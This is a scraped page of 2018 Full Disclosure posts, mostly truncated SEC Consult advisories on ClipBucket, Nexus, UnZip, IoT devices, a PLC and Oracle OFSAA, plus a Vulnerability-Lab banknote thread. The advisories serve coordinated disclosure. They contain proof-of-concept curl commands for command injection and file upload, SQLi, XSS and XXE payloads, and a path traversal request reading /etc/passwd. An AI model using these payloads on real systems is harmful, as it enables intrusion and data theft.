Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers.
[FD] SEC Consult SA-20180227-0 :: OS command injection, arbitrary file upload & SQL injection in ClipBucket
SEC Consult Vulnerability Lab Security Advisory < 20180227-0 > === title: OS command injection, arbitrary file upload & SQL injection product: ClipBucket vulnerable version: <4.0.0 - Release 4902 fixed version: 4.0.0 - Release 4902 CVE number: - impact: critical homepage: http://clipbucket.com/ found: 2017-09-06 by: Ahmad Ramadhan Amizudin (Office Kuala Lumpur) Wan Ikram (Office Kuala Lumpur) Fikri Fadzil (Office Kuala Lumpur) Jasveer Singh (Office Kuala Lumpur) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal Moscow - Munich - Kuala Lumpur - Singapore Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "ClipBucket is a free and open source software which helps us to create a complete video sharing website like YouTube, Dailymotion, Metacafe, Veoh, Hulu in few minutes of setup. It was first created in 2007 by Arslan Hassan and his team of developers. ClipBucket was developed as a YouTube clone but has been upgraded with advanced features and enhancements. It uses FFMPEG for video conversion and thumbs generation which is the most widely used application so, users can stream it straight away using the Video JS and HTML 5 Players." Source: https://clipbucket.com/about Business recommendation: By exploiting the vulnerabilities documented in this advisory, an attacker can fully compromise the web server which has ClipBucket installed. Potentially sensitive data might get exposed through this attack. Users are advised to immediately install the patched version provided by the vendor. Vulnerability overview/description: --- 1. Unauthenticated OS Command Injection Any OS commands can be injected by an unauthenticated attacker. This is a serious vulnerability as the chances for the system to be fully compromised is very high. This same vulnerability can also be exploited by authenticated attackers with normal user privileges. 2. Unauthenticated Arbitrary File Upload A malicious file can be uploaded into the webserver by an unauthenticated attacker. It is possible for an attacker to upload a script to issue operating system commands. This same vulnerability can also be exploited by an authenticated attacker with normal user privileges. 3. Unauthenticated Blind SQL Injection The identified SQL injection vulnerabilities enable an attacker to execute arbitrary SQL commands on the underlying MySQL server. Proof of concept: - 1. Unauthenticated OS Command Injection Without having to authenticate, an attacker can exploit this vulnerability by manipulating the "file_name" parameter during the file upload in the script /api/file_uploader.php: $ curl -F "Filedata=@pfile.jpg" -F "file_name=aa.php ||<>" http://$HOST/api/file_uploader.php Alternatively, this vulnerability can also be exploited by authenticated basic privileged users with the following payload by exploiting the same issue in /actions/file_downloader.php: $ curl --cookie "[--SNIP--]" --data "file=http://localhost/vid.mp4&file_name=abc || <>" "http://$HOST/actions/file_downloader.php"; 2. Unauthenticated Arbitrary File Upload Below is the cURL request to upload arbitrary files to the webserver with no authentication required. $ curl -F "file=@pfile.php" -F "plupload=1" -F "name=anyname.php" "http://$HOST/actions/beats_uploader.php"; $ curl -F "file=@pfile.php" -F "plupload=1" -F "name=anyname.php" "http://$HOST/actions/photo_uploader.php"; Furthermore, this vulnerability is also available to authenticated users with basic privileges: $ curl --cookie "[--SNIP--]" -F "coverPhoto=@valid-image-with-appended-phpcode.php" "http://$HOST/edit_account.php?mode=avatar_bg"; 3. Unauthenticated Blind SQL Injection The following parameters have been identified to be vulnerable against unauthenticated blind SQL injection. URL : http://$HOST/actions/vote_channel.php METHOD : POST PAYLOAD : channelId=channelId=1-BENCHMARK(1, rand()) The source code excerpt below shows the vulnerable code VULN. FILE : /actions/vote_channel.php VULN. CODE : [...] $vote = $_POST["vote"]; $userid = $_POST["channelId"]; //if($userquery->login_check('',true)){ if($vote == "yes"){ $query = "UPDATE &quo
[FD] SEC Consult SA-20180221-0 :: Hijacking of arbitrary miSafes Mi-Cam video baby monitors
We have published an accompanying blog post to this technical advisory with further information: https://www.sec-consult.com/en/blog/2018/02/internet-of-babies-when-baby-monitors-fail-to-be-smart/index.html SEC Consult Vulnerability Lab Security Advisory < 20180221-0 > === title: Hijacking of arbitrary video baby monitors product: miSafes Mi-Cam remote video monitor vulnerable version: Android application v1.2.0, iOS v1.0.5 Firmware v1.0.38 fixed version: - CVE number: - impact: critical homepage: http://www.misafes.com/mi-cam found: 2017-11-30 by: Mathias Frank (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal Moscow - Munich - Kuala Lumpur - Singapore Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "Mi-CamHD, Wi-Fi remote video monitor for everyone; 720P HD quality video, easy set up & use, two-way talk and supports free local video recording, all can be use by our user friendly Mi-Cam app." Source: http://www.misafes.com/mi-cam Business recommendation: SEC Consult recommends not to use this device until a thorough security review has been performed by security professionals and all identified issues have been resolved! Although cloud-connected hardware may have an advantage regarding usability and convenience for users, if security is lacking those products pose a great risk for all customers. Furthermore, it seems there exist similar products from other vendors, e.g. "Qihoo 360 Smart Home Camera", that look exactly the same and may also be affected but SEC Consult could not verify this. The cloud component hosted by "qiwocloud2.com" may be used by other products as well. Additional information regarding other vendors are described in our blog post linked at the top of this advisory. Vulnerability overview/description: --- The usage of the Mi-Cam video baby monitor and its Android (or iOS) application, involves numerous requests to a cloud infrastructure available at ipcam.qiwocloud2.com with the aim of communicating with the video baby monitor or respective Android application. The Android application has at least 5-10 installations according to Google Play Store with potentially as many iOS users as well. SEC Consult has identified multiple critical security issues within this product. 1) Broken Session Management & Insecure Direct Object References The usage of the Android application "Mi-Cam" and the interaction with the video baby monitor involves several different API calls. A number of critical API calls can be accessed by an attacker with arbitrary session tokens because of broken session management. This allows an attacker to retrieve information about the supplied account and its connected video baby monitors. Information retrieved by this feature is sufficient to view and interact with all connected video baby monitors for the supplied UID. 2) Missing Password Change Verification Code Invalidation The password forget functionality sends a 6-digit validation key which is valid for 30 minutes to the supplied email address in order to set a new password. Multiple codes can be requested though while previously delivered codes do not get invalidated and anyone of them can be used as a valid key. This can easily be brute-forced to take over other accounts. 3) Available Serial Interface The PCB of the video baby monitor holds an unlabeled UART interface where an attacker is able to get hardware level access to the device and for instance extract the firmware for further analysis. SEC Consult identified further security issues such as outdated software (issue 6) or weak passwords (issue 4) by analyzing the firmware using IoT Inspector (https://www.iot-inspector.com). 4) Weak Default Credentials The "root" user available on the video baby monitor uses very weak default credentials with only 4 digits. 5) Enumeration of user accounts The password reset functionality leaks information about the existence of supplied user accounts which can aid in further (brute-force) attacks. 6) Outdated and Vulnerable Software Several software components which are affected by publicly known vulnerabilities were identified in the firmware of the video baby monitor. Proof of concept: - As the vendor could not be reached in order to get the issues fixed we will omit detailed proof of concept information in this advisory. 1) Broke
[FD] SEC Consult SA-20180208-0 :: Multiple Cross-Site Scripting Vulnerabilities in Sonatype Nexus Repository Manager OSS/Pro
SEC Consult Vulnerability Lab Security Advisory < 20180208-0 > === title: Multiple Cross-Site Scripting Vulnerabilities product: Sonatype Nexus Repository Manager OSS/Pro vulnerable version: <=2.14.5, <=3.7.1 fixed version: 2.14.6, 3.8.0 CVE number: CVE-2018-5306, CVE-2018-5307 impact: Medium homepage: https://www.sonatype.com/ found: 2017-12-12 by: Werner Schober, Daniel Ostovary (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "At Sonatype we have a long history of partnership with the world of open source software development. From our humble beginning as core contributors to Apache Maven, to supporting the world’s largest repository of open source components (Central), to distributing the world's most popular repository manager (Nexus), we exist for one simple reason; to help accelerate software innovation." Source: https://www.sonatype.com/about-sonatype Business recommendation: The Sonatype Nexus Repository Server is affected by multiple XSS vulnerabilities which could be used by an attacker to execute JavaScript code in the user's browser. The vendor provides a patch for both version 2 and 3 of the product which should be installed immediately. It is recommended to conduct a thorough security review by IT security professionals in order to identify potential other security issues. Vulnerability overview/description: --- 1) Reflected XSS vulnerability The parameters "repoId" and "format" of the "healthCheckFileDetail" function are vulnerable to reflected XSS. If the attacker can lure a user into clicking a crafted link he could execute arbitrary JavaScript code. In case the user has sufficient permissions, an attacker can create arbitrary (administrative) users or perform stored XSS attacks (see 2). 2) Stored XSS vulnerabilities The application is vulnerable to multiple stored XSS vulnerabilities, which are described in the following list. 2.1) The first one is located in the "File Upload" functionality of the "Staging Upload". Uploading a file with JavaScript code in its name allows to store JavaScript code, which gets triggered every time the file name is shown (e.g. in "Repositories"). 2.2) The second stored XSS vulnerability is more precisely being considered as stored DOM injection. This vulnerability affects the functionality of creating a new user. When doing so it is possible to inject JavaScript/HTML code in the username, which later gets rendered/executed every time the username is displayed. 2.3) The third stored XSS vulnerability is also a stored DOM injection. It affects the "IQ Server Connection"/"IQ Server Dashboard" functionality. The "IQ Server URL" field in the "IQ Server Connection" allows to inject JavaScript/HTML code into the menu bulletpoint "IQ Server Dashboard". The vendor provided the following CVE numbers: * CVE-2018-5306 - covers the XSS vulnerabilities in Nexus 3 * CVE-2018-5307 - covers the XSS vulnerabilities in Nexus 2 Proof of concept: - 1) Reflected XSS vulnerability By luring an attacker into clicking the following link, an arbitrary JavaScript payload will be executed: https://example.com/nexus/service/siesta/healthcheck/healthCheckFile Detail/.../index.html?repoId=public&format=sectest Vulnerable parameters: -) repoId -) format 2) Stored XSS vulnerabilities ***Please note that only users with access to the respective functionalities are susceptive to the following stored XSS vulnerabilities.*** 2.1) The staging upload allows an attacker to upload a file, which contains a JavaScript payload in the filename. An example for a filename containing a "malicious" payload is as follows: ".jpg" This file can be uploaded flawlessly and everytime the filename is displayed, the JavaScript payload gets executed. 2.2) An attacker is able to create a new user, which contains a malicious JavaScript payload in the username. As an example the following username can be used: "EvilAdmin Create Repository -> Access repository via "Repositories" -> JavaScript code is being executed) 2.3) The nexus server allows to setup an IQ server connection. The server name is not validated and therefore allows the permanent injection of JavaScript code. To demons
[FD] SEC Consult SA-20180207-0 :: Multiple buffer overflow vulnerabilities in InfoZip UnZip
SEC Consult Vulnerability Lab Security Advisory < 20180207-0 > === title: Multiple buffer overflow vulnerabilities product: InfoZip UnZip vulnerable version: UnZip <= 6.00 / UnZip <= 6.1c22 fixed version: 6.10c23 CVE number: CVE-2018-131,CVE-2018-132,CVE-2018-133 CVE-2018-134,CVE-2018-135 impact: high homepage: http://www.info-zip.org/UnZip.html found: 2017-11-03 by: R. Freingruber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "UnZip is an extraction utility for archives compressed in .zip format (also called "zipfiles"). Although highly compatible both with PKWARE's PKZIP and PKUNZIP utilities for MS-DOS and with Info-ZIP's own Zip program, our primary objectives have been portability and non-MSDOS functionality. UnZip will list, test, or extract files from a .zip archive, commonly found on MS-DOS systems. The default behavior (with no options) is to extract into the current directory (and subdirectories below it) all files from the specified zipfile." Source: http://www.info-zip.org/UnZip.html InfoZip's UnZip is used as default utility for uncompressing ZIP archives on nearly all *nix systems. It gets shipped with many commerical products on Windows to provide (un)compressing functionality as well. Business recommendation: InfoZip Unzip should be updated to the latest available version. Vulnerability overview/description: --- 1) Heap-based buffer overflow in password protected ZIP archives (CVE-2018-135) InfoZip's UnZip suffers from a heap-based buffer overflow when uncompressing password protected ZIP archives. An attacker can exploit this vulnerability to overwrite heap chunks to get arbitrary code execution on the target system. For newer builds the risk for this vulnerability is partially mitigated because modern compilers automatically replace unsafe functions with length checking variants of the same function (for example sprintf gets replaced by sprintf_chk). This is done by the compiler at locations were the length of the destination buffer can be calculated. Nevertheless, it must be mentioned that UnZip is used on many systems including older systems or on exotic architectures on which this protection is not in place. Moreover, pre-compiled binaries which can be found on the internet lack the protection because the last major release of InfoZip's UnZip was in 2009 and compilers didn't enable this protection per default at that time. The required compiler flags are also not set in the Makefile of UnZip. Compiled applications are therefore only protected if the used compiler has this protection enabled per default which is only the case with modern compilers. To trigger this vulnerability (and the following) it's enough to uncompress a manipulated ZIP archive. Any of the following invocations can be used to trigger and abuse the vulnerabilities: >unzip malicious.zip >unzip -p malicious.zip >unzip -t malicious.zip 2) Heap-based out-of-bounds write (CVE-2018-131) This vulnerability only affects UnZip 6.1c22 (next beta version of UnZip). InfoZip's UnZip suffers from a heap-based out-of-bounds write if the archive filename does not contain a .zip suffix. 3) Heap/BSS-based buffer overflow (Bypass of CVE-2015-1315) (CVE-2018-132) This vulnerability only affects UnZip 6.1c22 (next beta version of UnZip). InfoZip's UnZip suffers from a heap/BSS-based buffer-overflow which can be used to write null-bytes out-of-bound when converting attacker-controlled strings to the local charset. 4) Heap out-of-bounds access in ef_scan_for_stream (CVE-2018-133) This vulnerability only affects UnZip 6.1c22 (next beta version of UnZip). InfoZip's UnZip suffers from a heap out-of-bounds access vulnerability. 5) Multiple vulnerabilities in the LZMA compression algorithm (CVE-2018-134) This vulnerability only affects UnZip 6.1c22 (next beta version of UnZip). InfoZip's UnZip suffers from multiple vulnerabilities in the LZMA implementation. Various crash dumps have been supplied to the vendor but no further analysis has been performed. Proof of concept: - 1) Heap-based buffer overflow in password protected ZIP archives (CVE-2018-135) Unzipping a malicious archive results in the following output: (On Ubuntu 16.04 with Un
Re: [FD] Banknotes Misproduction security & biometric weakness
Am 30.01.2018 um 15:43 schrieb Jeffrey Walton: > On Tue, Jan 30, 2018 at 9:22 AM, Vulnerability Lab > wrote: >> Am 30.01.2018 um 15:18 schrieb Jeffrey Walton: >>> On Tue, Jan 30, 2018 at 4:08 AM, Vulnerability Lab >>> wrote: >>>> Document Title: >>>> === >>>> Banknotes Misproduction security & biometric weakness >>>> ... >>>> >>>> Technical Details & Description: >>>> >>>> In the last months we reviewed the new 20€ & 50€ Banknotes of the European >>>> Central Bank. One of our core team researchers identified >>>> that for the security sign of the holograms are different components in >>>> usage. The security signs are build by the European Central >>>> Bank with several high profile elements in the signs to ensure, that the >>>> banknotes has a serious level of protection again fraud or >>>> fake money. After processing some time to identify an impact, we were >>>> finally able to identify the following security problematic ... >>>> >>> The details seem to be missing from the announcement and the website. >> >> read the linked full document as pdf > Thanks. There is no linked PDF. In the references section is the download available. - atu -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Re: [FD] Banknotes Misproduction security & biometric weakness
Am 05.02.2018 um 16:10 schrieb Vulnerability Lab: > Hello Intern0t (inter...@protonmail.com), > could you please tell me what your strange blabla has to deal with the > fact that the hologram can be read and accepted as fingerprint because > of the polipaper inside. Did you see that we changed the finger after > the save due to the register. If you believe in that this is normal > behavour or a troll issue, please ask lenovo. They included there > universal fingerprint from a mark insde a laptop. We figured out by now > that the hologram can be read to finally bypass with a universal key. > Thus strange anomaly should for sure not be possible in scans that must > identify a hologram. If your technical expertise is not high level > enough then to talk seriously about the issues impact, i cant help you. > > Best Regards, > Vulnerability Laboraotry, -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Re: [FD] Banknotes Misproduction security & biometric weakness
Am 31.01.2018 um 17:21 schrieb Vulnerability Lab: > Hello Ben Tasker, > sorry if the title of the issue did lead you to misunderstand the > article. The currency is still secure. > The title refers to the information used for the issue. In case it was > misleading we will update it but you was the first who misunderstood > the article by comments. > > "The weakness, the theory goes, is that someone could register a > "fingerprint" in your system by using a banknote. This'd give them > access whilst also meaning you didn't at least have a hash of their > real fingerprint for forensics to find." > This is correct. Also the problem that others can access with the same > hologram into for exmaple the high protected area (mil & gov). > > > "Another theory is that users might opt to use a banknote instead of > their own fingerprint. I'm not quite sure what the likelihood of that > is, in that it's not exactly convenient, and if you're concerned about > privacy implications from a fingerprint scanner the best option is not > to use it." > > What about, if the fingerprint of lenovo (bug disclosed parallel to > us) is our european currency. Means the hardcoded fingerprints that > published parallel is exactly what we refer to when we talk about a > universal fingerprint. In the real life it is pretty easy to use it in > large companies due to the registration and as well on entrance. Maybe > you feel like the pratical interaction can not happen, we can confirm > you from germany we was successful. The government disallowed us to > register the fingerprint to the real system otherwise a compromise > could not be excluded. -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] SEC Consult SA-20180201-0 :: Multiple critical vulnerabilities in Whole Vibratissimo Smart Sex Toy product range
We have published an accompanying blog post to this technical advisory with further information: https://www.sec-consult.com/en/blog/2018/02/internet-of-dildos-a-long-way-to-a-vibrant-future-from-iot-to-iod/index.html SEC Consult Vulnerability Lab Security Advisory < 20180201-0 > === title: Multiple critical vulnerabilities product: Whole Vibratissimo Smart Sex Toy product range vulnerable version: <6.3 (iOS), <6.2.2 (Android), <2.0.2 (Firmware) fixed version: 6.3 (iOS), 6.2.2 (Android), 2.0.2 (Firmware) CVE number: - impact: critical homepage: http://www.vibratissimo.com found: 2017-10-01 by: W. Schober (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "Control with Vibratissimo your AMOR Toy on your smartphone and get even more features by the app. With Vibratissimo you are open to new and exciting opportunities, whether you are in the same room or on different continents." Source: http://www.vibratissimo.com/en/index.html Business recommendation: SEC Consult highly recommends to update the app to the newest version available in the appstore. Furthermore the password, which was used within the app, should be changed immediately. If the password was used for multiple services, all passwords should be changed. To get rid of issue number 3 (Unauthenticated Bluetooth LE Connections) a firmware update can be applied. To apply the firmware update the devices have to be sent to Amor Gummiwaren GmbH. Vulnerability overview/description: --- 1) Customer Database Credential Disclosure The credentials for the whole Vibratissimo database environment were exposed on the internet. Due to the fact, that the PHPMyAdmin interface was exposed as well, an attacker could have been able to connect to the database and dump the whole data set. The dataset contains for example the following data: - Usernames - Session Tokens - Cleartext passwords - chat histories - explicit image galleries, which are created by the users themselves 2) Exposed administrative interfaces on the internet An administrative interface for databases was available without any filtering to the whole internet. In combination with other vulnerabilities an attacker could have been able to get access to the whole database data and even take over the server. 3) Cleartext Storage of Passwords The user passwords were stored unhashed in cleartext in the database. If an attacker gained access to the database (e.g. via credential disclosure), he could have been able to retrieve the plaintext passwords of users and abuse their privileges in the system. 4) Unauthenticated Bluetooth LE Connections The sex toys are connected without prior authentication to the app, which is the standard use case. For example one of the identified Bluetooth services allows to read the current device temperature. Other services, which can be accessed without prior authentication are: -) Setting the "intensity" of the current vibration pattern -) Reading various values (Temperature, etc) 5) Insufficient Authentication Mechanism The android application is using a type of authentication, which is against known best practice. The username and password are sent with every request to the server to authenticate and authorise the request. There is no session management implemented. However, the authentication credentials are transmitted via an encrypted SSL/TLS connection. 6) Insecure Direct Object Reference Due to flaws in the authorization schema, an authorization bypass vulnerability allows an attacker to get access to restricted functions and resources. In this case a user is able to set a profile picture by uploading a provided image. The image is stored on the Vibratissimo server and renamed. All images are renamed by incrementing a global number and assigning this number as the name of the image (e.g 200.png). An attacker is now able to iterate through those images and dump personal user images containing partially explicit content. The image can even be accessed if the profile has been set to "hidden" by the user. 7) Missing Authentication in Remote Control The mobile apps allow their users to use a feature called quick control. This feature allows to send a link with a unique ID to an email address or a telephone via SMS to get direct control of the sex toy over the internet. This wouldn't be a problem in gen
[FD] SEC Consult SA-20180131-0 :: Multiple Vulnerabilities in Sprecher Automation SPRECON-E-C, PU-2433
SEC Consult Vulnerability Lab Security Advisory < 20180131-0 > === title: Multiple Vulnerabilities product: Sprecher Automation SPRECON-E-C, PU-2433 vulnerable version: <8.49 (most vulnerabilities, see "Vulnerable version" for details) fixed version: 8.49 (most vulnerabilities, see "Solution" for details) CVE number: - impact: Medium homepage: https://www.sprecher-automation.com found: 2017-08-15 by: T. Weber, C.A. (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "Sprecher Automation GmbH offers switchgears and automation solutions for energy, industry and infrastructure processes. Our customers are power utilities, industries, transportation companies, municipal utilities and public institutions. Company-own developments and cooperations with technology partners lead to a unique product portfolio consisting of traditional electrical technologies as well as high-tech electronics." Source: https://www.sprecher-automation.com/en/ Business recommendation: SEC Consult recommends to immediately patch the systems and follow the hardening guide provided by the vendor (SEC Consult did not have access to the hardening guide in order to review it). A thorough security review should be performed by security professionals as further security issues might exist within the product. Vulnerability overview/description: --- 1) Authenticated Path Traversal Vulnerability The web interface of the Sprecher PLC suffers from a path traversal vulnerability. A user which is authenticated on the web interface, which is intended as read-only interface, can download files with the permissions of the webserver (www-data). Files like "/etc/shadow" are not readable for the webserver. 2) Client-Side Password Hashing The password hashes which are stored on the system can be directly used to authenticate on the web interface (pass-the-hash) since the password is hashed in the browser of the user during login. 3) Missing Authentication The PLC exposes a Telnet management service on TCP port 2048. This interface can be used to control the PLC and does not require any authentication. 4) Permanent Denial of Service via Portscan An aggressive TCP SYN scan on a large amount of ports triggers a denial of service of the PLC service. This results in an persistent DoS of the standby PLC in an active - standby pair. Manual operator intervention is required to restore service availability. 5) Outdated Linux Kernel An ancient Linux kernel version with a high number of known security weaknesses is used for the PLC base operating system. Proof of concept: - 1) Authenticated Path Traversal Vulnerability Reading "passwd" is possible by triggering the following request: --- GET /webserver/cgi-bin/spre.cgi?4_1=../../../../../../../etc/passwd HTTP/1.1 Host: Cookie: sid= Connection: close Upgrade-Insecure-Requests: 1 --- The file is directly fetched from the system: --- root:x:0:0:root:/root:/bin/sh daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:100:sync:/bin:/bin/sync mail:x:8:8:mail:/var/spool/mail:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh operator:x:37:37:Operator:/var:/bin/sh haldaemon:x:68:68:hald:/:/bin/sh dbus:x:81:81:dbus:/var/run/dbus:/bin/sh nobody:x:99:99:nobody:/home:/bin/sh sshd:x:103:99:Operator:/var:/bin/sh [...] --- 2) Client-Side Password Hashing The passwords are hashed in JavaScript before they are transmitted to the device. Therefore the hash is as good as the password. The following request shows a login process: --- POST /webserver/cgi-bin/spre.cgi HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json Accept-Language: de Content-Type: application/x-www-form-urlencoded If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT Referer: http:///We
[FD] Banknotes Misproduction security & biometric weakness
Document Title: === Banknotes Misproduction security & biometric weakness References: === https://www.vulnerability-lab.com/get_content.php?id=2105 Download: https://www.vulnerability-lab.com/resources/documents/7692342363856723534.rar Vulnerability Magazine: https://www.vulnerability-db.com/?q=articles/2018/01/28/banknotes-misproduction-security-biometric-weakness Video: https://www.vulnerability-lab.com/get_content.php?id=2106 Other Reference(s): https://threatpost.com/lenovo-fixes-hardcoded-password-flaw-impacting-thinkpad-fingerprint-scanners/129680/ Release Date: = 2018-01-29 Vulnerability Laboratory ID (VL-ID): 2105 Common Vulnerability Scoring System: 6 Vulnerability Class: Insecure Configuration Management Current Estimated Price: 10.000€ - 25.000€ Vulnerability Disclosure Timeline: == 2018-01-29: Public Disclosure (Vulnerability Laboratory) Discovery Status: = Published Exploitation Technique: === Bulletins Severity Level: === High Technical Details & Description: In the last months we reviewed the new 20€ & 50€ Banknotes of the European Central Bank. One of our core team researchers identified that for the security sign of the holograms are different components in usage. The security signs are build by the European Central Bank with several high profile elements in the signs to ensure, that the banknotes has a serious level of protection again fraud or fake money. After processing some time to identify an impact, we were finally able to identify the following security problematic ... Credits & Authors: == Benjamin Kunz Mejri - Vulnerability-Lab Core Team - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Contact: [resea...@vulnerability-lab.com] Cooperation: Forum für Cyber Sicherheit e.V. - Deutschland Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php- vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] SEC Consult SA-20180123-0 :: XXE & Reflected XSS in Oracle Financial Services Analytical Applications
SEC Consult Vulnerability Lab Security Advisory < 20180123-0 > === title: XXE & Reflected XSS product: Oracle Financial Services Analytical Applications vulnerable version: 7.3.5.x, 8.0.x fixed version: Oracle CPU January 2018 CVE number: CVE-2018-2660, CVE-2018-2661 impact: High homepage: http://www.oracle.com/us/products/applications/ financial-services/analytical-applications/index.html found: 2017-06-15 by: Mohammad Shah Bin Mohammad Esa, Samandeep Singh (Office Singapore) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "Oracle is the unchallenged leader in Financial Services, with an integrated, best-in-class, end-to-end solution of intelligent software and powerful hardware designed to meet every financial service need." Source: http://www.oracle.com/us/products/applications/ financial-services/analytical-applications/index.html Business recommendation: By exploiting the XXE vulnerability, an attacker can get read access to the filesystem of the user's system using the OFSAA web application and thus obtain sensitive information from the system. It is also possible to bypass input validation checks in order to inject JavaScript code. SEC Consult recommends to immediately install the patched version. Furthermore, a thorough security review should be performed by security professionals to identify potential further security issues. Vulnerability overview/description: --- 1) XML eXternal Entity (XXE) Injection (CVE-2018-2660) The web application allows users to import XML files. An attacker can import a specially crafted XML file and exploit the XXE vulnerability within the application. 2) Reflected Cross Site Scripting (CVE-2018-2661) This vulnerability allows an unauthenticated user to inject malicious client side script which will be executed in the browser of a user if he visits the manipulated URL. Proof of concept: - 1) XML External Entity Injection (XXE) (CVE-2018-2660) For example, by importing the following XML code in the "Business Model Upload" function a connection request from the server to the attacker's system will be made. http://[IP:port]/"; >]>&xxe; IP:port = IP address and port where the attacker is listening for connections Furthermore some files can be exfiltrated to remote servers via the techniques described in: https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf http://vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf 2) Reflected Cross Site Scripting (CVE-2018-2661) The following parameters have been found to be vulnerable to reflected cross site scripting attacks. Furthermore, there are many more vulnerable parameters. The following payload shows a simple alert message box: URL : http://$DOMAIN/OFSAA/admin/PopupAlert_H5.jsp?winTitle= METHOD : GET PAYLOAD : winTitle=a%3C/title%3E%3Cimg%0A%20src=x%20onerror=%22prompt%0A%28%27SEC%20consult%20-%20XSS%27%29%22%3E URL : http://$DOMAIN/OFSAA/fsapps/common/MM_PageOpener_crossBrowser.jsp? url=fetchErrorMessages.action&infodom=OCBCOFSAASG&formCode=summarypage&errorMessage={62}~ METHOD : GET PAYLOAD : errorMessage={62}~%27;alert%0a(0);//&aType=DeleteConfirm Vulnerable / tested versions: - The following version has been tested which was the most recent one when the vulnerabilities were discovered: * Oracle Financial Services Analytical Applications 8.0.4.0.0 According to Oracle all versions 7.3.5.x and 8.0.x are affected before CPU January 2018. Vendor contact timeline: 2017-09-11: Contacting vendor through encrypted email (secalert...@oracle.com) 2017-09-20: Vendor requested to postpone the release date 2018-01-13: Vendor informed that Critical Patch Update that includes fixes of reported issues will be released on 2018-01-16. CVE-2018-2660 & CVE-2018-2661 were assigned for the issues 2018-01-23: Public disclosure of advisory Solution: - Apply patch update in the January 2018 Critical Patch Update: http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html Workaround: --- None Advisory URL: - https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~
